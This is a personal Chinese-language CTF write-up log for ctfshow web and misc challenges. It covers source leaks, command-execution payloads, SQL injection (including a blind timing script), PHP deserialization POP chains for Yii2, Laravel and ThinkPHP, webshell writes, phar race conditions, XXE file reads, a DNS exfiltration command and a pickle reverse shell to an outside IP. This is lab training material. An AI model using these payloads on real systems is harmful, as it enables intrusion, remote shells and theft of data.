CTFSHOW 做题记录
2024.11.13重刷ctfshow题目,此文为记录
WEB入门
信息搜集
web1
Ctrl+U看源码
web2
不能右键,继续Ctrl+U看源码
web3
请求包返回头里面
web4
提示看 robots.txt 发现提示 /flagishere.txt 直接访问 flag 在里面
web5
提示 phps源码泄露有时候能帮上忙
web6
提示源码泄露
web7
提示 版本控制很重要,但不要部署到生产环境更重要。
访问 /.git/index.php
web8
提示 版本控制很重要,但不要部署到生产环境更重要。
访问 /.svn/
web9
提示 发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了 访问源码的缓存文件 index.php.swp
web10
给 flag 放cookie 里面了
web11
直接域名解析,我做的时候这个域名已经GG了
web12
访问robots.txt得到/admin/即后台登录路径,主页最下面那个帮助电话就是admin密码,登录即可
web13
提示 技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
翻到最下面可以看到INFORMATION那一列可以下载document,下载后里面有默认账号和密码admin和admin1103以及后台路径/system1103/login.php,登陆即可
web14
提示 有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
访问/editor/
可以看到一个图标长得像回形针的插入文件功能,打开后选择文件空间即可遍历文件。最后访问/nothinghere/fl000g.txt
即可拿到flag
web15
提示 公开的信息比如邮箱,可能造成信息泄露,产生严重后果
网页最下面有个qq邮箱,查出来西安的,访问/admin
,使用重置密码功能,密保问题是居住地,填西安后把密码重置为admin7789
,然后登录即可
web16
提示 对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
访问 /tz.php
这是版本是雅黑PHP探针,然后查看phpinfo搜索flag
web17
提示 备份的 sql 文件会泄露敏感信息
备份的sql文件,访问/backup.sql
web18
一个小游戏,说玩到 101 分给 flag 那必然是不可能玩的
直接看源码访问110.php
得到 flag
web19
看源码发现验证条件,直接 POST 提交出 flag
web20
提示 mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
直接查看url路径添加/db/db.mdb
下载文件通过txt打开或者通过EasyAccess.exe打开搜索flag
爆破
web21
非原字典
web22
域名失效
命令执行
web29
?c=system('tac f*g.php');
web30
?c=echo `tac f*`;
web31
?c=passthru("tac%09fla*");
?c=eval($_GET[a]);&a=system('cat flag.php');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web32
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
嵌套eval+文件包含+伪协议
web33
同32
web34
多过滤 :
include
已经将语句闭合,不影响后面伪协议代码,payload同Web32
web35
多过滤 <
=
payload同Web32
web36
多过滤 /
数字,将Web32的payload1改成a继续用
web37
?c=data://text/plain,<?php system('tac fl*');?>
web38
?c=data://text/plain,<?= system('tac fl*');?>
web39
强制给include添加后缀无法阻止伪协议内的php代码执行,只会在代码执行后报错 同38
web40
无参RCE还有一种方法 get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。 next()将内部指针指向数组中的下一个元素,并输出。 array_pop() 函数删除数组中的最后一个元素并返回其值。
web41
sql注入
web171
万能密码一把
1' or 1=1--+
web172
1' union select 1,password from ctfshow_user2--+
web173
字段多了一个
1' union select 1,2,password from ctfshow_user3--+
web174
过滤数字和 flag ,把输出结果中的数字进行替换
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B'),3,'C'),4,'D'),5,'E'),6,'F'),7,'G'),8,'H'),9,'I'),0,'J'),'b' from ctfshow_user4 where username='flag' %23
得到:
ctfshow{bcCBHAEC-fCaG-DCdJ-IFCd-CGbEEBHBfJFB}
替换回去
def restore_password(encrypted_password):
# 替换规则,按照原SQL语句逆向操作
replacements = {
'A': '1',
'B': '2',
'C': '3',
'D': '4',
'E': '5',
'F': '6',
'G': '7',
'H': '8',
'I': '9',
'J': '0',
}
# 恢复字符串
restored = ''.join(replacements.get(char, char) for char in encrypted_password)
return restored
# 示例加密字符串
encrypted = "ctfshow{bcCBHAEC-fCaG-DCdJ-IFCd-CGbEEBHBfJFB}"
# 提取大括号中的内容
content = encrypted.split('{')[1].split('}')[0]
# 恢复字符串
restored_password = restore_password(content)
print(f"加密字符串: {encrypted}")
print(f"恢复后的字符串: {restored_password}")
#ctfshow{bc328153-f3a7-43d0-963d-37b55282f062}
web175
import time
import requests
dicts='1234567890-_{}qwertyuiopasdfghjklzxcvbnm'
flag = ''
for i in range(1,64):
for s in dicts:
sql= '1\' and if(substr((select password from ctfshow_user5 where username=\'flag\'),{},1)=\'{}\',sleep(3),0) %23'.format(i,s)
url = 'http://d2a0c671-e4d9-4ecb-b011-90a5fc68b498.challenge.ctf.show/api/v5.php?id={}&page=1&limit=1'.format(sql)
start_time = time.time()
res = requests.get(url)
stop_time = time.time()
if stop_time - start_time >= 3:
flag += s
print(flag)
break
web176
大小写绕过
1' uNion sELect 1,2,password from ctfshow_user--+
反序列化
web254
?username=xxxxxx&password=xxxxxx
web255
GET:?username=xxxxxx&password=xxxxxx
Cookie:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
WEB256
username 和 password 不相等,并且 isVip 为 True
<?php
class ctfShowUser{
public $username = 'aaa';
public $password = 'bbb';
public $isVip = true;
};
echo serialize(new ctfShowUser());
?>
web257
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
简单POP链,想要得到 flag 就需要 backDoor 类中的 geInfo 函数,因为其中包含 eval 函数可以进行命令执行,code
这个私有属性储存着我们要执行的命令,触发getInfo
的方法在ctfShowUser
这个类中,所以我们可以利用他的__destruct
函数来触发在创建对象时类的__getInfo()
函数,通过ctfShowUser
的__construct
魔术方法来创建backdoor
对象
backdoor::getinfo<--ctfShowUser::__destruct<--ctfShowUser::__construct
因为 code 是private属性,所以要进行 urlencode,将不可见字符编码
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';
}
echo urlencode(serialize(new ctfShowUser));
web258
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){ $this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){ $this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']);
} $user->login($username,$password);
}
和上一题类似
过滤了 O:数字:
C:数字:
的形式, 可以在数字前面加上 +
绕过
然后之前的 private 全部改成 public 了…
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='aaa';
public $password='bbb';
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('tac f*');";
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo PHP_EOL;
echo urlencode($b);
web259
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
index.php
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
通过 flag.php 可知必须本地访问flag.php 而且带上token,第一反应就是改 xff 为 127.0.0.1 但是这个题不行,因为有 cloudfare 代理无法通过本地构造XFF绕过,因此这题需要利用原生类的反序列化来实现SSRF,SoapClient原生类的反序列化,在本题的环境当中,由于使用Cloudflare 代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,在两次调用array_pop后我们取得的始终是固定的服务器IP
这里ip因为被pop了两次,所以分割后只剩了127.0.0.1,绕过了flag.php
poc:
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>
访问flag.txt,得到flag
web260
?ctfshow=O:18:"ctfshow_i_love_36D"
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){ $this->username=$u; $this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){ $this->username=''; $this->password='';
}
public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){ file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
当 __wakeup()
和 __unserialize()
同时存在时, 仅会执行 __unserialize()
方法
当存在 __serialize()
时, $data
的值为该方法返回的数组, 否则为一个包含反序列化后的全部属性的数组
这里 if($this->code==0x36d)
使用了 ==
, 会进行类型转换
所以我们只需要构造一个以 0x36d 的十进制数 877 开头的文件名即可
<?php
class ctfshowvip{
public $username = '877.php';
public $password = '<?php eval($_REQUEST[1]);?>';
}
echo serialize(new ctfshowvip());
web262
反序列化字符串逃逸(字符变多)
这里 str_replace()
将 fuck 替换为 loveU, 多了1个字符,我们需要构造一个序列化的 payload, 内容是 token=admin
所以我们要逃逸的字符串就是这些,一共27个字符
";s:5:"token";s:5:"admin";}
注意闭合双引号, 以及最后的 }
, 其中 }
表示反序列化的终止位置
而每从一个 fuck 到 loveU 能够逃逸1个字符
总 payload 就是 fuck*27 + payload
因为这里属性的顺序是 $from $msg $to $token
, 所以我们在 $to
里面填写 payload
?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}
web263
/inc/inc.php 中的 User 类有一处 file_put_contents()
文件开头
考点应该是 session 反序列化漏洞
不过找了一遍发现并没有 unserialize()
, 如果想要反序列化的话, 那就得用到 session.serialize_handler
之间的差异性不过并不知道 php.ini 默认使用的 handler 是什么
但因为 inc.php 里显式的设置了 php 这个 handler, 可以大胆猜测一下默认的是 php_serialize
也就是说 index.php 使用 php_serialize handler 序列化我们传入的 cookie 值, 生成对应的 session 文件
而 inc.php 里使用 php handler 反序列化 session 文件
我们利用 php handler 中的 |
来进行反序列化
<?php
class User{
public $username;
public $password;
function __construct(){
$this->username = '123.php';
$this->password = '<?php eval($_POST[1]);?>';
}
}
echo base64_encode('|'.serialize(new User()));
//fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiIxMjMucGhwIjtzOjg6InBhc3N3b3JkIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO30=
在前面加上 |
, 这样的话 session 反序列化的时候 php handler 会默认把 |
前面的内容当做 key, 不会解析, |
后面的才是真正应该反序列化的 value
首先第一次访问 index.php, 得到 PHPSESSID
PHPSESSID=ti15gb2rr0op27vae8j814st69;
然后第二次访问 index.php, 在 cookie 中添加这个 PHPSESSID, 并且修改 limit 的值 (注意要将 =
urlencode)
最后访问 check.php (check.php 中引用了 /inc/inc.php)
访问 log-123.php,get shell
web264
同web262,只是修复了非预期解
web265
反序列化后 token 重新赋值, md5 加密的随机数
如果想要得到 flag 的话, password 必须跟 token 一模一样
想到了 PHP 中变量的引用 &
&
传递变量的地址, 类似于 c 中的指针
<?php
$a = '123';
$b = &$a;
$a = '456';
echo $b;
//456
这里面 $b
的值就是 $a
的值, 因为 $b
里面存了 $a
的地址, 两者是等价的。同理, 如果改变 $b
的值, $a
的值也同样会改变
<?php
class ctfshowAdmin{
public $token;
public $password;
function __construct(){
$this->password = &$this->token;
}
}
echo serialize(new ctfshowAdmin());
可以看到这里面 password 后的字符是 R
, 代表引用 (Reference)
get 传参后得到 flag
web266
__destruct()
在对象被销毁时会自动调用,我们只需要让 ctfshow 类正确被反序列化即可,但是直接传 ctfshow 会被检测,之后就会抛出异常,如果程序报错或者抛出异常就不会触发 __destruct()
了,因为 throw 那个函数回收了自动销毁的类,导致 __destruct()
检测不到有东西销毁,从而也就无法触发 __destruct()
这里 ctfshow 正则匹配没有 i ,可以大小写绕过
<?php
class CTFSHOW
{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
}
$c = new Ctfshow();
echo serialize($c);
web267
先搜集一下信息 主页面进入源代码。发现是Yii框架,版本为2.0 Login 页面试试用户名密码发现是 admin admin
About 页面提示
/index.php?r=site%2Fabout&view-source
发现提示
直接给exp,适用于Yii2 2.0.38 之前的版本
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'tac /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
payload:
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToidGFjIC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19
web268
补充:上一题传入如下命令,进行 DNS 外带发现网站目录为 /var/www/html/basic/web1.php
shell_exec(wget `pwd|base64`.ha0qmv.dnslog.cn)
发现页面和上一题一样,用上一题 payload 发现没有回显,想到写马进去
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
echo(base64_encode(serialize($exp)));
}
payload:
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTtwaHBpbmZvKCk7Pz4iID4vdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19
web269
同上一题
web270
同上一题
web271
laravel 5.7(CVE-2019-9081) poc:
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="cat /flag";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
payload:
data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7D%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7D%7D
web272
Laravel 5.8(CVE-2019-9081) poc:
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
payload:
data=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D
flag在源代码里
web273
同上一题
web274
ThinkPHP V5.1 F12发现反序列化入口exp:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
public function __construct()
{
$this->append = ["li"=>[]];
$this->data = ["li"=>new Request()];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\model;
class Pivot extends Model{
}
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $config;
protected $param = [];
public function __construct()
{
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->filter = 'system';
$this->config = ["var_ajax"=>''];
$this->param = ['cat /f*'];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
payload:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
public function __construct()
{
$this->append = ["li"=>[]];
$this->data = ["li"=>new Request()];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\model;
class Pivot extends Model{
}
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $config;
protected $param = [];
public function __construct()
{
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->filter = 'system';
$this->config = ["var_ajax"=>''];
$this->param = ['cat /f*'];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
web275
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
这题的关键点在于$evilfile
为true
或者为false
如果为true的话,就会执行
//可以通过拼接逃逸出来
if($this->evilfile){
system('rm '.$this->filename);
}
如果为false的话,就会执行
if($f->checkevil()===false){
//写入文件内容
file_put_contents($_GET['fn'], $content);
//复制文件,生成的新文件名进行md5加密+随机数
copy($_GET['fn'],md5(mt_rand()).'.txt');
//删除原来的文件
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
很显然只要为 true 就能轻松逃逸并且RCE
?fn=php;tac%20flag.php
web276
和上一题主要差异在新增 $admin 不可控
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
利用 phar 反序列化 + 条件竞争去做 生成 phar 文件
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=true;
public $admin = true;
public function __construct($f='',$fn=''){
$this->filename='1;tac fla?.ph?';
$this->filecontent='';
}
}
@unlink("phar.phar"); //删除之前的 phar.phar文件(如果有)
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>"); //设置stub头
$a = new filter(); //实例化一个filter类
$phar -> setMetadata($a); //将创建的对象a写入到Metadata中
$phar -> addFromString("test.txt","test"); //添加要进行压缩的文件,文件名为test,文件内容为testaaa
$phar -> stopBuffering();
条件竞争
import requests
import time
import threading
success = False
#读取 phar 包内容
def getPhar(phar):
with open(phar,'rb') as p:
return p.read()
#写入phar包内容
def writePhar(url, data):
print('writing...')
requests.post(url, data=data)
#触发unlink的Phar反序列化
def urlinkPhar(url, data):
global success
print('unlinking...')
res = requests.post(url, data=data)
if 'ctfshow' in res.text and success is False:
print(res.text)
success = True
def main():
global success
url = 'http://3bef0c86-19e9-407f-b2f2-28f3f876655a.challenge.ctf.show/'
phar = getPhar('phar.phar')
while success is False:
time.sleep(1)
w = threading.Thread(target=writePhar,args=(url+'?fn=p.phar',phar))
u = threading.Thread(target=urlinkPhar,args=(url+'?fn=phar://p.phar/test',''))
w.start()
u.start()
if __name__ == '__main__':
main()
web277
源代码有注释可以看出是 pickle 反序列化,这里直接利用 __reduce__
执行命令,由于无回显,直接反弹shell
import pickle
import os
import base64
class CTFshow():
def __reduce__(self):
return (eval,("__import__('os').popen('nc 189.1.247.20 6666 -e /bin/sh').read()",))
cs = CTFshow()
csgo = pickle.dumps(cs)
print(base64.b64encode(csgo))
web278
过滤了os.system 换成 os.popen 同上
XXE
web373
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
//允许加载外部实体
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument(); //DOMDocument,表示整个HTML或XML文档;作为文档树的根
//创建一个新的 DOMDocument 对象,用于解析 XML
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//loadXML,从一个字符串中,加载一个XML文档,并启用外部实体和DTD加载。LIBXML_NOENT 使解析器替换实体为它们的值,LIBXML_DTDLOAD 使解析器加载外部 DTD。攻击者可以通过在 XML 中定义外部实体来读取服务器上的本地文件或触发其他不安全的操作。
$creds = simplexml_import_dom($dom);
//将 DOMDocument 转换为一个SimpleXMLElement对象,方便访问数据节点
$ctfshow = $creds->ctfshow
//提取 XML 对象中的 <ctfshow> 标签内容
echo $ctfshow;
}
highlight_file(__FILE__);
这里我们就可以POST传一个读取服务器的xml,被php://input
解析并加载后,通过echo我们就可以看到flag了:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<sun>
<ctfshow>&xxe;</ctfshow>
</sun>
web374
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
Misc入门
图片篇(基础操作)
misc1
打开就是 flag
misc2
010editor 打开看到PNG头,将后缀改为 PNG 打开为 flag
misc3
给的是一个 bpg 后缀的文件,用 bpgview.exe 打开
misc4
发现 6个 txt 文件,通过文件头来判断类型
JPEG (jpg) 文件头:FF D8 FF 文件尾:FF D9
PNG (png),文件头:89504E47
Windows Bitmap (bmp), 文件头:424D 文件尾:
GIF (gif),文件头:47494638
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
Adobe Acrobat (pdf),文件头:255044462D312E
Windows Password (pwl),文件头:E3828596
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
TIFF (tif), 文件头:49492A00 文件尾:
WebP (webp), 文件头:52494646......57454250 (RIFF......WEBP)
拼接图片中的 flag
图片篇(信息附加)
misc5
打开图片发现是错误 flag ,用010editor 打开发现真实 flag 藏在文件尾部
misc6
和上一题类似 flag 藏在文件中
misc7
和上一题类似 flag 藏在文件中
misc8
foremost 分离出两张图片,另一张为真正的flag图片
misc9
010editor 查找